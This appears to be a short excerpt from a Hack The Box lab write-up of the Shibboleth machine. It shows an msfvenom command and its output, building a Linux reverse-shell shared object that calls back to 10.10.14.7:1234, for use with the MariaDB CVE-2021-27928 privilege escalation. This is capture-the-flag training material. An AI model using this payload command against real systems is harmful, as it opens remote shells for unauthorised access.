msfvenom
┌──(kali㉿kali)-[~/…/htb/labs/shibboleth/mariadb]
└─$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.7 LPORT=1234 -f elf-so -o CVE-2021-27928.so
[-] no platform was selected, choosing msf::Module::Platform::Linux from the payload
[-] no arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
payload size: 74 bytes
final size of elf-so file: 476 bytes
saved as: CVE-2021-27928.so
msfvenom generated a payload to exploit [[shibboleth_privilege_escalation#cve-2021-27928|CVE-2021-27928]]